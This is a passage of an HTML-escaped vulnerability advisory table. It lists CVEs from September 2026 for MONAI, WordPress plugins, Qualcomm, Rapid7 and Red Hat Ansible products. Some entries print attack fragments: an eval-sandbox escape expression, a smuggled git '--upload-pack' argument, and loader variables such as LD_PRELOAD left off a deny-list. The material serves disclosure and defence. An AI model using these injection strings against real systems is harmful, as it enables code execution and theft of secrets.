&lt;td&gt;MONAI before 1.6.0 is vulnerable to OS command injection in the nnUNetV2Runner component (monai.apps.nnunet.nnunetv2_runner). User-controlled values taken from the YAML configuration file (notably dataset_name_or_id) and from CLI/kwargs arguments are concatenated into a command string without quoting or validation and then passed to subprocess with shell=True, so shell metacharacters (e.g., &#039;;&#039; on Linux, &#039;&amp;amp;&#039; on Windows) are interpreted. If a victim loads and processes a crafted configuration file - for example by instantiating nnUNetV2Runner with the malicious YAML and invoking a training/validation job such as train_single_model() - arbitrary commands are executed with the privileges of the user running the job.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100844&quot; target=&quot;_blank&quot;&gt;CVE-2026-100844&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Project-MONAI--MONAI&lt;/td&gt;
&lt;td&gt;MONAI through 1.6.0 contains a remote code execution vulnerability in the bundle configuration engine that resolves _target_ values to arbitrary importable callables without an allow list and passes $ expressions to Python eval(). Attackers can publish a malicious bundle with crafted configuration containing arbitrary code that executes when a victim loads the bundle using monai.bundle.load() or monai.bundle.run().&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100840&quot; target=&quot;_blank&quot;&gt;CVE-2026-100840&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Project-MONAI--MONAI&lt;/td&gt;
&lt;td&gt;In MONAI 1.6.0, PersistentDataset (monai/data/dataset.py) explicitly rejects the combination track_meta=True with weights_only=True, forcing users who cache MetaTensors (the default tensor type in MONAI &amp;gt;= 1.0) to run torch.load(hashfile, weights_only=False). Related cache helpers in monai/data/utils.py also call pickle.loads on cached content and derive cache keys with hashlib.md5. As a result, a local user with write access to a shared or world-writable cache_dir (e.g. /tmp/monai_cache, HPC scratch, ~/.cache/monai) can place a malicious pickle file that is deserialized the next time another user&#039;s MONAI pipeline reads the cache, resulting in arbitrary code execution in that user&#039;s context. All released versions of the monai pip package are affected; no patched version is available as of the advisory.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100841&quot; target=&quot;_blank&quot;&gt;CVE-2026-100841&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Project-MONAI--MONAI&lt;/td&gt;
&lt;td&gt;MONAI through 1.6.0 contains an eval injection vulnerability in _get_fake_spatial_shape() in monai/bundle/scripts.py. The function validates shape expressions with a helper that walks the AST and only collects ast.Name nodes, rejecting any name other than &#039;p&#039; or &#039;n&#039;, before passing the string to eval(). Expressions built solely from constants and attribute, subscript, or call nodes (for example &quot;(1).__class__.__bases__[0].__subclasses__()&quot; or &quot;int.__class__.__init__.__globals__&quot;) contain no ast.Name nodes and therefore bypass the allowlist. Because the shape value originates from bundle metadata consumed by _get_real_input_data and verify_net_in_out (reachable through the bundle &#039;verify_net_in_out&#039; CLI flow), an attacker who can influence a bundle&#039;s metadata can escape the eval sandbox via object introspection chains and achieve code execution in this non-default flow.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100842&quot; target=&quot;_blank&quot;&gt;CVE-2026-100842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Project-MONAI--MONAI&lt;/td&gt;
&lt;td&gt;MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100843&quot; target=&quot;_blank&quot;&gt;CVE-2026-100843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Project-MONAI--MONAI&lt;/td&gt;
&lt;td&gt;MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI&#039;s standard data pipeline.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100845&quot; target=&quot;_blank&quot;&gt;CVE-2026-100845&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Project-MONAI--MONAI&lt;/td&gt;
&lt;td&gt;MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100846&quot; target=&quot;_blank&quot;&gt;CVE-2026-100846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;psd-tools--psd-tools&lt;/td&gt;
&lt;td&gt;psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite() and PSDImage.numpy() allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those values against the available file data. A tiny crafted PSD could therefore cause multi-gigabyte memory allocation, and PSDImage.composite() could return a black image with only a warning instead of raising an exception. Services that composite untrusted PSD files could be terminated by out-of-memory handling. This issue is fixed in version 1.17.4.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59991&quot; target=&quot;_blank&quot;&gt;CVE-2026-59991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PublishPress--PublishPress Capabilities&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Request Forgery (CSRF) in PublishPress Capabilities &amp;lt;= 2.50.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94487&quot; target=&quot;_blank&quot;&gt;CVE-2026-94487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;python-social-auth--social-core&lt;/td&gt;
&lt;td&gt;Python Social Auth is a social authentication/registration mechanism. Prior to version 5.0.0, the `vk-app` backend accepted VK application callback data without verifying the callback signature when the `auth_key` parameter was omitted. Applications using this backend could treat unsigned attacker-controlled data as a verified VK identity. An attacker could choose callback fields such as `viewer_id`, `access_token`, `api_id`, and `api_result`, potentially allowing authentication as an arbitrary VK user ID. The issue affects only applications using the `vk-app` backend. The issue has been fixed in version 5.0.0 by requiring `auth_key` to be present and valid before callback data is trusted.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57178&quot; target=&quot;_blank&quot;&gt;CVE-2026-57178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Improper authorization leads to Remote Code Execution via SocketIO interface.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25254&quot; target=&quot;_blank&quot;&gt;CVE-2026-25254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Exposed dangerous function lead to privilege escalation via gRPC server.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25255&quot; target=&quot;_blank&quot;&gt;CVE-2026-25255&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Privilege escalation due to weak configuration during package extraction process.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25264&quot; target=&quot;_blank&quot;&gt;CVE-2026-25264&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Privilege escalation due to weak configuration while temporary file handling.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25265&quot; target=&quot;_blank&quot;&gt;CVE-2026-25265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radykal--Fancy Product Designer&lt;/td&gt;
&lt;td&gt;The Fancy Product Designer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;output_format&#039; parameter in all versions up to, and including, 6.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the Pro Export/Genius feature to be enabled on the site, as the vulnerable fpd_pr_export AJAX action is only registered when that feature is active.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84279&quot; target=&quot;_blank&quot;&gt;CVE-2026-84279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radykal--Fancy Product Designer&lt;/td&gt;
&lt;td&gt;The Fancy Product Designer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Shortcode Order &#039;elements[].title&#039; Parameter in all versions up to, and including, 6.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected payload is written to the DOM via innerHTML within the beforeElementAdd JavaScript event handler when processing the elements[].title field from the stored order JSON, meaning execution occurs specifically when an administrator reviews shortcode orders in the WordPress admin panel.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84280&quot; target=&quot;_blank&quot;&gt;CVE-2026-84280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radykal--Fancy Product Designer&lt;/td&gt;
&lt;td&gt;The Fancy Product Designer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;productTitle&#039; in &#039;_fpd_data&#039; Order Item Meta in all versions up to, and including, 6.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The fpd_save_order AJAX action is registered for unauthenticated users via wp_ajax_nopriv_fpd_save_order with no nonce or capability check, and the strip_tags() sanitization applied at save time is bypassed by submitting JSON unicode escape sequences (e.g. \u003c, \u003e), which json_decode() silently converts back to literal angle brackets when the order is rendered in the admin view.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84281&quot; target=&quot;_blank&quot;&gt;CVE-2026-84281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rapid7--Insight Agent&lt;/td&gt;
&lt;td&gt;An uncontrolled search path element in InsightVM assessment content in Rapid7 Insight Agent on Windows allows a local, low-privileged user to execute arbitrary code as SYSTEM via a planted executable resolved from the machine PATH. Assessment content at or below version 0.0.261.0 included a check that invoked the `code` command without a fully qualified path from a process running as SYSTEM. The command was resolved against the machine PATH environment variable at execution time. Where the machine PATH contained a directory writable by non-administrative users and ordered ahead of the legitimate Visual Studio Code installation, a local user could place an executable named `code` in that directory and cause the agent to execute it with SYSTEM privileges. The version range above refers to InsightVM assessment content versions, not Insight Agent versions. All Insight Agent versions were affected while running assessment content at or below 0.0.261.0. Assessment content is delivered to all Insight Agents via the Rapid7 Insight Platform independently of the Insight Agent version and is not customer-managed. This issue was resolved in assessment content version 0.0.269.0, which was made generally available on September 15, 2026. Remediation was deployed automatically and no customer action is required.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89325&quot; target=&quot;_blank&quot;&gt;CVE-2026-89325&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rapid7--Velociraptor&lt;/td&gt;
&lt;td&gt;Velociraptor stores the compiled VQL in the hunt object internally to avoid having to recompile the artifacts for each endpoint in the hunt. Although the field &quot;compiled_collector_args&quot; is an internal field, Velociraptor allowed the field to be set from a user API call. This allows another user who can schedule a hunt (minimal role of &quot;investigator&quot; ) to set the compiled VQL statements for the hunt bypassing any ACL checks that would normally be applied. This flaw can then be escalated to allow the &quot;investigator&quot; user to run arbitrary VQL statements as an administrator user on the Velociraptor server.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19072&quot; target=&quot;_blank&quot;&gt;CVE-2026-19072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Razorpay--Razorpay Payment Button&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in Razorpay Payment Button &amp;lt;= 2.4.9 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94179&quot; target=&quot;_blank&quot;&gt;CVE-2026-94179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;realmag777--HUSKY Products Filter for WooCommerce Professional&lt;/td&gt;
&lt;td&gt;The HUSKY - Products Filter for WooCommerce Professional plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.4.4 via the &#039;shortcode&#039; parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. This vulnerability is exploitable by unauthenticated users because the only access control is a nonce check against woof_front_nonce, which is publicly emitted into inline JavaScript on every front-end page and is therefore obtainable by any site visitor without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92969&quot; target=&quot;_blank&quot;&gt;CVE-2026-92969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Confidential Compute Attestation&lt;/td&gt;
&lt;td&gt;A vulnerability in CRI-O checkpoint restore allows a user who can create a pod from a malicious checkpointed container to bypass the destination Kubernetes security context. The restored process may retain credentials, Linux capabilities, no_new_privs, and seccomp state from the checkpoint instead of enforcing the destination configuration. This can allow execution with elevated privileges across the container security boundary. Affected upstream supported versions are CRI-O 1.34 and later. Downstream Red Hat products are affected from OCP 4.17 onward. Fixes have been applied to supported branches but are not yet released. Exploitation requires permission to create a pod from a malicious checkpoint image and checkpoint restore functionality to be available.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92574&quot; target=&quot;_blank&quot;&gt;CVE-2026-92574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Exploit Intelligence&lt;/td&gt;
&lt;td&gt;A flaw was found in the SmallRye Fault Tolerance library, which is used by Quarkus to provide strategies like retries and circuit breakers for microservices. The issue occurs when using the ApplyGuard or ApplyFaultTolerance annotations, where the library fails to release internal tracking objects after each request. This causes a steady increase in memory usage that eventually leads to the application slowing down and crashing due to lack of memory.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94449&quot; target=&quot;_blank&quot;&gt;CVE-2026-94449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2&lt;/td&gt;
&lt;td&gt;A path traversal vulnerability was found in pulpcore. The content upload API accepts a &#039;file_url&#039; parameter that allows users with file repository privileges to specify a local file URL for Pulp to download and store. A URL scheme validation check uses a string prefix comparison that only rejects URLs beginning with &#039;file://&#039;, but Python&#039;s URL parser recognizes the &#039;file:&#039; scheme without double slashes, creating a mismatch between what is validated and what is dispatched to the file downloader. An authenticated user with low-privilege repository permissions can supply a specially crafted URL using relative path traversal sequences to read any file accessible to the Pulp server process. In deployments that include Pulp Container, successful exploitation allows an attacker to read the container registry token signing private key and forge bearer tokens, granting unauthorized access to all private container repositories in the affected registry.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90959&quot; target=&quot;_blank&quot;&gt;CVE-2026-90959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.4 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in AWX. The container group pod_spec_override field uses an incomplete blocklist that only restricts automountServiceAccountToken, allowing injection of initContainers, serviceAccountName overrides, and projected service account token volumes. An AAP platform administrator can exploit this to escalate privileges to OpenShift namespace-level access and exfiltrate namespace secrets.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75884&quot; target=&quot;_blank&quot;&gt;CVE-2026-75884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.4 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in Red Hat Ansible Automation Platform&#039;s automation- controller. The provisioning-callback secret (host_config_key) is exposed to users holding only the read-level view_jobtemplate permission -- both in the job template API representation and in the activity stream -- and the provisioning callback endpoint trusts a client-supplied X-Forwarded-For header to determine the calling host when the controller is deployed behind the AAP gateway with an empty proxy allow-list. By reading the secret and spoofing X-Forwarded-For to match any host in the job template&#039;s inventory, a minimally privileged or unauthenticated remote attacker can launch the job template against arbitrary managed hosts using the job template&#039;s credentials, resulting in privilege escalation and remote code execution on managed hosts.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84474&quot; target=&quot;_blank&quot;&gt;CVE-2026-84474&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.4 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in Red Hat Ansible Automation Platform&#039;s automation- controller. The Project scm_url field is not validated against values that begin with a dash and is stored and passed verbatim to the git SCM module. Because the module runs git ls-remote with the URL as a positional argument and without a &quot;--&quot; separator, a git project URL such as &quot;--upload-pack=&amp;lt;command&amp;gt;:x&quot; is interpreted by git as the --upload-pack option and executed via a shell. A user with permission to create or modify a project in a single organization can thereby execute arbitrary commands on the control-plane task pod, with output reflected through the project update stdout endpoint, leading to cross-tenant compromise and in-cluster lateral movement&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84502&quot; target=&quot;_blank&quot;&gt;CVE-2026-84502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.4 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in the Ansible Automation Platform automation-controller. When a WorkflowJobTemplate is copied, the deep-copy permission sanitizer validates only the inventory, unified_job_template, and credentials of each cloned node and fails to check the instance_groups (and execution_environment and labels) that were preserved from the original. A user with organization workflow-admin permission but no role on the referenced instance groups can copy a workflow, become its administrator, and launch jobs pinned to instance groups they are not authorized to use - including the control-plane instance group - bypassing the InstanceGroup use_role boundary and causing attacker-influenced automation to run in the control-plane execution context.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84719&quot; target=&quot;_blank&quot;&gt;CVE-2026-84719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in Red Hat Ansible Automation Platform&#039;s automation- controller. The HTML view of job, ad hoc command, project update, and inventory update standard output escapes HTML metacharacters but does not remove ANSI terminal escape sequences before conversion to HTML. An ANSI OSC 8 hyperlink sequence in the output is expanded into an HTML anchor whose href is not scheme- filtered or escaped, so a low-privileged user who can produce output -- or an external party whose data a playbook echoes -- can embed a javascript: link that is rendered into a text/html response with no Content-Security-Policy. When a higher-privileged user views the output page and clicks the link, attacker- controlled JavaScript executes in their authenticated session, allowing actions as that user up to full platform takeover.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84683&quot; target=&quot;_blank&quot;&gt;CVE-2026-84683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in Red Hat Ansible Automation Platform&#039;s automation- controller. The setting that formats the log message emitted for API 4XX errors is an administrator-controlled Python format-string template that is rendered with a live user object as an argument. Because Python string formatting permits attribute and item traversal on its arguments, an administrator can craft a template that walks from the user object into the application settings and reads the Django secret key and the database password. The formatted message is written to a logger that can be forwarded to an external log aggregator, whose destination is also administrator-controlled, allowing the secrets to be sent off the host. An authenticated administrator can thereby obtain the master encryption key used to protect all stored credentials and the database service password, enabling offline decryption of every stored credential, forgery of user sessions, and direct access to the controller database.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84691&quot; target=&quot;_blank&quot;&gt;CVE-2026-84691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in Red Hat Ansible Automation Platform&#039;s automation- controller. Survey questions of type password are write-only and stored encrypted, displayed only as a placeholder on read. When a schedule or workflow job template node is revalidated against a tightened survey specification, the controller decrypts the stored password and includes its plaintext value in the minimum/maximum length validation error message returned in the HTTP response. A user with the delegated JobTemplate Admin role can tighten the survey length constraint and trigger revalidation of a schedule or node created by another, higher-privileged user, thereby recovering that user&#039;s stored password in plaintext.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84499&quot; target=&quot;_blank&quot;&gt;CVE-2026-84499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in Ansible Automation Platform&#039;s automation-controller. The custom Credential Type environment-variable injector validates variable names against a deny-list (an ANSIBLE_* prefix check plus a fixed ENV_BLOCKLIST) that omits process-hijacking loader variables such as BASH_ENV, ENV, LD_PRELOAD, LD_LIBRARY_PATH, PYTHONSTARTUP and GIT_SSH_COMMAND. Combined with the credential file injector, a privileged user can write an attacker-controlled script into the execution environment and point BASH_ENV at it, obtaining arbitrary code execution inside the execution-environment container for any job that attaches a credential of that type.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84706&quot; target=&quot;_blank&quot;&gt;CVE-2026-84706&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in the automation-controller input-validation guard sanitize_jinja(). The function uses two regular expressions to reject user-supplied Jinja, but the patterns stop at the first interior &#039;}&#039; or &#039;%&#039; character, so a Jinja expression containing an inner brace (for example an empty dict) is accepted while remaining valid Jinja. Because sanitize_jinja() is the sole guard on several launch-time fields - ad-hoc command module_args, Machine-credential username / become_method / become_user, and inventory host names - a low-privileged user can inject Jinja that ansible-core evaluates in the execution environment. This enables execution of arbitrary commands in the execution environment (bypassing an administrator&#039;s AD_HOC_COMMANDS module allowlist) and disclosure of secrets belonging to credentials the attacker cannot read (by templating a co-attached credential&#039;s injected environment variables), across the credential access-control boundary.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84714&quot; target=&quot;_blank&quot;&gt;CVE-2026-84714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.6 for RHEL 9&lt;/td&gt;
&lt;td&gt;A flaw was found in Red Hat Ansible Automation Platform&#039;s automation- controller. Four debug views that trigger the internal task, dependency, and workflow schedulers are configured to allow any user (including unauthenticated clients) and are routed in production builds because their URL include is not gated on the debug setting. An unauthenticated remote attacker can repeatedly invoke these endpoints to acquire the cluster-wide scheduler advisory lock; because the legitimate scheduler acquires the same lock without waiting, the attacker causes real scheduler runs to be skipped, stalling job dispatch for all tenants, while also consuming controller web workers. The debug root view additionally discloses the list of debug endpoints to unauthenticated callers.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
